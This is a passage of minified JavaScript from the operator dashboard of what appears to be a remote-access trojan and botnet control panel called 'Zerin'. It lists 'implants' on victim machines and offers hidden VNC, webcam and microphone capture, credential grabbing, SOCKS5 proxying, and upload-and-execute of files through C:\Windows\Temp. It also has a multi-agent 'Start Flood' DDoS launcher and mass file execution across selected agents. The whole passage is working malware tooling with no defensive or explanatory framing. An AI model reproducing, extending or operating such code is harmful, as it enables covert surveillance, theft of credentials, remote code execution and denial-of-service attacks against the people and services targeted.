py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),s.jsx("div",{className:"flex gap-2",children:hU.map(N=>s.jsx("button",{onClick:()=>u(N),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors disabled:opacity-40 disabled:cursor-not-allowed ${c===N?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:N},N))})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:N=>a(Number(N.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),s.jsx("div",{className:"flex gap-1.5",children:xU.map(N=>s.jsx("button",{onClick:()=>a(N.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors disabled:opacity-40 disabled:cursor-not-allowed ${i===N.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:N.label},N.value))})]})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",s.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),s.jsx("input",{type:"range",min:1,max:64,value:o,onChange:N=>l(Number(N.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"1"}),s.jsx("span",{children:"16"}),s.jsx("span",{children:"32"}),s.jsx("span",{children:"48"}),s.jsx("span",{children:"64"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:x?s.jsxs("button",{onClick:S,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):s.jsxs("button",{onClick:k,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-red-500 hover:bg-red-600\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const h2={alive:0,stale:1,dead:2};function vU(e,t,n){let r=0;switch(n.column){case"status":r=(h2[e.status]??3)-(h2[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=jo(e.os).localeCompare(jo(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const gU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function yU(){const e=rr(),[t,n]=p.useState([]),[r,i]=p.useState(!0),[a,o]=p.useState(""),[l,c]=p.useState("all"),[u,d]=p.useState({column:"last_seen",direction:"desc"}),[f,m]=p.useState("online"),[h,x]=p.useState({x:0,y:0,visible:!1}),[g,y]=p.useState(null),[v,b]=p.useState(null),[w,j]=p.useState(null),[k,S]=p.useState(null),[N,z]=p.useState(null),[O,_]=p.useState("Zerin"),[T,P]=p.useState(""),[R,V]=p.useState(new Set),[$,L]=p.useState(!1),[W,B]=p.useState(!1),[U,F]=p.useState(""),[H,G]=p.useState(""),[re,oe]=p.useState(!1),[he,pe]=p.useState(null),Y=p.useRef(null),ee=p.useRef(null),C=p.useRef(null),E=p.useCallback(async()=>{try{const A=await e5();n(A),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);p.useEffect(()=>{E()},[E]);const{lastMessage:X}=p.useContext(id);p.useEffect(()=>{if(X&&X.type==="agent_update"){const A=X.payload;n(se=>{const te=se.findIndex(de=>de.id===A.id);if(te>=0){const de=[...se];return de[te]=A,de}return[A,...se]}),b(se=>se&&se.id===A.id?A:se)}},[X]),p.useEffect(()=>{const A=setInterval(E,15e3);return()=>clearInterval(A)},[E]),p.useEffect(()=>()=>{Y.current&&clearTimeout(Y.current)},[]);const I={total:t.length,alive:t.filter(A=>A.status==="alive").length,stale:t.filter(A=>A.status==="stale").length,dead:t.filter(A=>A.status==="dead").length},ne=f==="online"?t.filter(A=>A.status==="alive"||A.status==="stale"):t.filter(A=>A.status==="dead"),ve=[...l==="all"?ne:ne.filter(A=>A.status===l)].sort((A,se)=>vU(A,se,u)),Ee=t.filter(A=>A.status==="alive"||A.status==="stale").length,D=t.filter(A=>A.status==="dead").length;function ce(A){d(se=>({column:A,direction:se.column===A&&se.direction==="asc"?"desc":"asc"}))}function K(A){c(se=>se===A&&A!=="all"?"all":A)}function J(A){if(Y.current){clearTimeout(Y.current),Y.current=null,e(`/agents/${A.id}`);return}Y.current=setTimeout(()=>{Y.current=null,b(A)},250)}function le(A,se){A.preventDefault(),y(se),x({x:A.clientX,y:A.clientY,visible:!0})}function q(A,se){var Dr;if(!g)return;const te=g.id,de=g.hostname,ge=se==null?void 0:se.action,Ne=se==null?void 0:se.tab;if(x(Se=>({...Se,visible:!1})),y(null),ge==="chat"){j(g);return}if(ge==="confirm"){S({command:A,agentId:te,hostname:de});return}if(ge==="msgbox"){z({agentId:te,hostname:de}),_("Zerin"),P("");return}if(ge==="vnc"){mx(te).then(()=>{const Se=et(),We=window.open(`/vnc/${te}`,`vnc-${te}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(We&&Se){const At=Rt=>{var dt;((dt=Rt.data)==null?void 0:dt.type)==="zerin_auth_request"&&Rt.origin===window.location.origin&&(We.postMessage({type:"zerin_auth",token:Se},window.location.origin),window.removeEventListener("message",At))};window.addEventListener("message",At)}}).catch(()=>o("Failed to start VNC"));return}if(ge==="hvnc"){n5(te).then(()=>{const Se=et(),We=window.open(`/vnc/${te}?mode=hvnc`,`hvnc-${te}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(We&&Se){const At=Rt=>{var dt;((dt=Rt.data)==null?void 0:dt.type)==="zerin_auth_request"&&Rt.origin===window.location.origin&&(We.postMessage({type:"zerin_auth",token:Se},window.location.origin),window.removeEventListener("message",At))};window.addEventListener("message",At)}}).catch(()=>o("Failed to start hVNC"));return}if(ge==="webcam"){r5(te).then(()=>{const Se=et(),We=window.open(`/webcam/${te}`,`webcam-${te}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(We&&Se){const At=Rt=>{var dt;((dt=Rt.data)==null?void 0:dt.type)==="zerin_auth_request"&&Rt.origin===window.location.origin&&(We.postMessage({type:"zerin_auth",token:Se},window.location.origin),window.removeEventListener("message",At))};window.addEventListener("message",At)}}).catch(()=>o("Failed to start webcam"));return}if(ge==="mic"){i5(te).then(()=>{const Se=et(),We=window.open(`/mic/${te}`,`mic-${te}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(We&&Se){const At=Rt=>{var dt;((dt=Rt.data)==null?void 0:dt.type)==="zerin_auth_request"&&Rt.origin===window.location.origin&&(We.postMessage({type:"zerin_auth",token:Se},window.location.origin),window.removeEventListener("message",At))};window.addEventListener("message",At)}}).catch(()=>o("Failed to start microphone"));return}if(ge==="socks5"){a5(te).then(Se=>{alert(`SOCKS5 proxy started on ${Se.bind}:${Se.port} Use: ssh -L ${Se.port}:127.0.0.1:${Se.port} root@`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(ge==="execute_upload"){C.current=te,(Dr=ee.current)==null||Dr.click();return}if(ge==="ban"){const Se=t.find(dt=>dt.id===te),We=Se==null?void 0:Se.banned,At=We?`Unban agent ${de} (${te.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${de} (${te.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(At))return;(We?EE:PE)(te).then(()=>{n(dt=>dt.map(xs=>xs.id===te?{...xs,banned:!We}:xs))}).catch(()=>o(`Failed to ${We?"unban":"ban"} agent`));return}if(ge==="remove"){if(!confirm(`Remove agent ${de} (${te.slice(0,8)})? This cannot be undone.`))return;t5(te).then(()=>{n(Se=>Se.filter(We=>We.id!==te))}).catch(()=>o("Failed to remove agent"));return}(ge==="submit"||ge==="screenshot")&&A!=="creds"&&Ce(te,{command:A}).catch(Se=>{o(`Failed to submit task: ${Se instanceof Error?Se.message:"unknown error"}`)}),Ne&&e(`/agents/${te}?tab=${Ne}${A==="creds"?"&auto=1":""}`)}function Q(){x(A=>({...A,visible:!1})),y(null)}async function ue(A){var Ne,Dr,Se;const se=(Ne=A.target.files)==null?void 0:Ne[0];if(A.target.value="",!se||!C.current)return;const te=C.current;C.current=null;const de=se.name,ge=`C:\\Windows\\Temp\\${de}`;try{const We=await se.arrayBuffer(),At=Array.from(new Uint8Array(We)),{task_id:Rt}=await Ce(te,{command:"upload",args:[ge],data:At});let dt=!1;for(let vs=0;vs<30;vs++){await new Promise(wi=>setTimeout(wi,2e3));const bi=(Dr=(await Rn(te)).results)==null?void 0:Dr.find(wi=>wi.task_id===Rt);if(bi){if(bi.error)throw new Error(bi.error);dt=!0;break}}if(!dt)throw new Error("Upload timed out");const{task_id:xs}=await Ce(te,{command:"execute",args:[ge]});for(let vs=0;vs<30;vs++){await new Promise(wi=>setTimeout(wi,2e3));const bi=(Se=(await Rn(te)).results)==null?void 0:Se.find(wi=>wi.task_id===xs);if(bi){if(bi.error)throw new Error(bi.error);alert(`Executed ${de} on agent`);return}}alert(`File uploaded & execute command sent (${de})`)}catch(We){o(`Execute file failed: ${We instanceof Error?We.message:"unknown error"}`)}}return s.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[s.jsx("input",{ref:ee,type:"file",className:"hidden",onChange:ue}),s.jsxs("div",{className:"mb-6",children:[s.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),s.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[s.jsx(Vl,{label:"Total",value:I.total,active:l==="all",onClick:()=>K("all")}),s.jsx(Vl,{label:"Alive",value:I.alive,active:l==="alive",onClick:()=>K("alive")}),s.jsx(Vl,{label:"Stale",value:I.stale,active:l==="stale",onClick:()=>K("stale")}),s.jsx(Vl,{label:"Dead",value:I.dead,active:l==="dead",onClick:()=>K("dead")})]}),s.jsx(pU,{agents:t}),s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsxs("div",{className:"flex items-center border-b border-zerin-panel-border",children:[s.jsxs("button",{onClick:()=>{m("online"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="online"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[s.jsxs("span",{className:"flex items-center gap-2",children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="online"?"bg-zerin-accent animate-pulse-dot":"bg-zerin-text-muted/40"}`}),"Online",s.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="online"?"bg-zerin-accent/15 text-zerin-accent":"bg-zinc-800 text-zerin-text-muted"}`,children:Ee})]}),f==="online"&&s.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zerin-accent"})]}),s.jsxs("button",{onClick:()=>{m("offline"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="offline"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[s.jsxs("span",{className:"flex items-center gap-2",children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="offline"?"bg-zinc-500":"bg-zerin-text-muted/40"}`}),"Offline",s.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="offline"?"bg-zinc-500/15 text-zinc-400":"bg-zinc-800 text-zerin-text-muted"}`,children:D})]}),f==="offline"&&s.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zinc-500"})]})]}),f==="offline"&&D>0&&s.jsx("button",{onClick:async()=>{if(!confirm(`Remove all ${D} dead agent(s)? This cannot be undone.`))return;const A=t.filter(se=>se.status==="dead").map(se=>se.id);try{await CE(A),n(se=>se.filter(te=>te.status!=="dead"))}catch{o("Failed to clear dead agents")}},className:"px-3 py-1.5 text-xs font-medium rounded bg-red-500/10 text-red-400/80 hover:bg-red-500/20 hover:text-red-400 border border-red-500/20 transition-colors",children:"Clear All"})]}),r?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsxs("svg",{className:"animate-spin h-8 w-8 text-zerin-accent mx-auto mb-3",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agents..."})]})}):a?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-8 text-center max-w-sm",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-10 w-10 bg-zerin-danger-dim mb-4",children:s.jsx("svg",{className:"h-5 w-5 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("p",{className:"text-zerin-text font-display font-semibold mb-1",children:"Connection Error"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-4",children:a}),s.jsxs("button",{onClick:E,className:"inline-flex items-center gap-2 bg-zerin-accent px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:[s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Retry"]})]})}):ve.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-12 w-12 bg-zerin-panel-hover mb-4",children:s.jsx("svg",{className:"h-6 w-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),t.length===0?s.jsxs(s.Fragment,{children:[s.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No agents connected"}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Waiting for the first agent check-in."})]}):s.jsxs(s.Fragment,{children:[s.jsxs("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:["No ",f," agents"]}),s.jsxs("p",{className:"text-zerin-text-muted text-sm",children:[f==="online"?"No alive or stale agents.":"No dead agents — all agents are online.",l!=="all"&&s.jsx("button",{onClick:()=>c("all"),className:"ml-1 text-zerin-accent hover:text-zerin-accent-hover transition-colors underline underline-offset-2",children:"Clear filter"})]})]})]})}):s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"text-zerin-text-muted text-xs mb-3",children:[s.jsx("span",{className:"text-zerin-text font-medium",children:ve.length})," ",f," agent",ve.length!==1?"s":"",l!=="all"&&s.jsxs("span",{className:"ml-1",children:["· filtered by ",s.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm text-left",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-bg-alt",children:[s.jsx("th",{className:"px-3 py-3 w-[40px]",children:s.jsx("input",{type:"checkbox",checked:ve.length>0&&ve.filter(A=>A.status!=="dead").every(A=>R.has(A.id)),onChange:A=>{A.target.checked?V(new Set(ve.filter(se=>se.status!=="dead").map(se=>se.id))):V(new Set)},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),gU.map(A=>s.jsx("th",{onClick:()=>ce(A.key),className:`px-4 py-3 text-xs font-medium uppercase tracking-wider text-zerin-text-muted cursor-pointer select-none transition-colors hover:text-zerin-text ${A.className??""}`,children:s.jsxs("span",{className:"inline-flex items-center gap-1.5",children:[A.label,s.jsx(bU,{column:A.key,sort:u})]})},A.key))]})}),s.jsx("tbody",{className:"bg-zerin-panel",children:ve.map(A=>s.jsxs("tr",{onClick:()=>J(A),onContextMenu:se=>le(se,A),className:`border-b border-zerin-panel-border cursor-pointer transition-colors hover:bg-zerin-panel-hover ${A.status==="dead"?"opacity-50":""} ${A.banned?"opacity-60":""}`,children:[s.jsx("td",{className:"px-3 py-3",onClick:se=>se.stopPropagation(),children:A.status!=="dead"&&s.jsx("input",{type:"checkbox",checked:R.has(A.id),onChange:se=>{V(te=>{const de=new Set(te);return se.target.checked?de.add(A.id):de.delete(A.id),de})},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx(nd,{status:A.status,size:"sm",showLabel:!0}),A.banned&&s.jsx("span",{className:"inline-flex items-center bg-orange-500/15 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-orange-400",children:"Banned"})]})}),s.jsx("td",{className:`px-4 py-3 font-medium text-zerin-text ${A.banned?"line-through":""}`,children:A.hostname}),s.jsxs("td",{className:"px-4 py-3 text-zerin-text-dim",children:[A.username,A.elevated&&s.jsx("span",{className:"ml-2 inline-flex items-center bg-zerin-panel-hover px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Admin"})]}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:jo(A.os)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:A.arch}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim max-w-[160px] truncate",title:A.av_product||"Unknown",children:A.av_product||"Unknown"}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:A.internal_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:A.external_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:A.pid}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted",title:wo(A.last_seen),children:Bc(A.last_seen)})]},A.id))})]})})})]}),R.size>0&&s.jsxs("div",{className:`fixed bottom-6 left-1/2 -translate-x-1/2 z-40 flex items-center gap-3\r bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[s.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[R.size," agent",R.size!==1?"s":""," selected"]}),s.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),s.jsxs("button",{onClick:()=>L(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r text-red-400 bg-red-500/10 border border-red-500/20\r hover:bg-red-500/20 transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),s.jsxs("button",{onClick:()=>B(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r text-orange-400 bg-orange-500/10 border border-orange-500/20\r hover:bg-orange-500/20 transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute File"]}),s.jsx("button",{onClick:()=>V(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),$&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>L(!1),children:s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:A=>A.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),s.jsx("button",{onClick:()=>L(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:s.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx(I3,{agentIds:[...R]})]})}),W&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>B(!1),children:s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-lg",onClick:A=>A.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Execute File"}),s.jsx("button",{onClick:()=>B(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:s.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsxs("div",{className:"p-6 space-y-4",children:[s.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Run a file on ",R.size," agent",R.size!==1?"s":""]}),he&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${he.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:he.text}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"File Path"}),s.jsx("input",{type:"text",value:U,onChange:A=>F(A.target.value),placeholder:"C:\\path\\to\\file.exe",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Arguments (optional)"}),s.jsx("input",{type:"text",value:H,onChange:A=>G(A.target.value),placeholder:"--flag value",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),s.jsxs("button",{onClick:async()=>{if(U.trim()){oe(!0),pe(null);try{const A=[U.trim()];H.trim()&&H.trim().split(/\s+/).forEach(ge=>A.push(ge));const te=(await Promise.allSettled([...R].map(ge=>Ce(ge,{command:"execute",args:A})))).filter(ge=>ge.status==="fulfilled").length,de=R.size;pe(te===de?{text:`Sent to ${de} agent${de!==1?"s":""}`,type:"ok"}:{text:`Sent to ${te}/${de} agents (${de-te} failed)`,type:te>0?"ok":"err"})}catch(A){pe({text:A instanceof Error?A.message:"Failed",type:"err"})}finally{oe(!1)}}},disabled:re||!U.trim(),className:`w-full flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-orange-500 hover:bg-orange-600\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[re?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute",R.size>1?` (${R.size})`:""]})]})]})}),s.jsx(YA,{x:h.x,y:h.y,visible:h.visible,onAction:q,onClose:Q,agentStatus:g==null?void 0:g.status,agentName:g==null?void 0:g.hostname}),s.jsx(d5,{agentId:(w==null?void 0:w.id)??"",agentHostname:(w==null?void 0:w.hostname)??"",open:w!==null,onClose:()=>j(null)}),s.jsx(XA,{open:v!==null,onClose:()=>b(null),title:(v==null?void 0:v.hostname)??"Agent Details",children:v&&s.jsx(wU,{agent:v,onNavigate:()=>e(`/agents/${v.id}`),onTagsChange:async A=>{const se=v.tags??[];n(te=>te.map(de=>de.id===v.id?{...de,tags:A}:de)),b(te=>te&&{...te,tags:A});try{await _E(v.id,A)}catch{n(te=>te.map(de=>de.id===v.id?{...de,tags:se}:de)),b(te=>te&&{...te,tags:se}),o("Failed to update tags")}}})}),k&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:A=>A.stopPropagation(),children:[s.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[k.command==="restart"?"Restart":"Shutdown"," PC"]}),s.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",k.command," ",s.jsx("span",{className:"text-zerin-text font-medium",children:k.hostname}),"?",k.command==="shutdown"&&" The agent will go offline."]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{Ce(k.agentId,{command:k.command}).catch(A=>{o(`Failed to submit task: ${A instanceof Error?A.message:"unknown error"}`)}),S(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${k.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:k.command==="restart"?"Restart":"Shutdown"})]})]})}),N&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>z(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:A=>A.stopPropagation(),children:[s.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",s.jsx("span",{className:"text-zerin-text font-medium",children:N.hostname})]}),s.jsxs("div",{className:"space-y-3 mb-6",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),s.jsx("input",{type:"text",value:O,onChange:A=>_(A.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r text-sm text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),s.jsx("textarea",{value:T,onChange:A=>P(A.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r text-sm text-zerin-text placeholder-zerin-text-muted 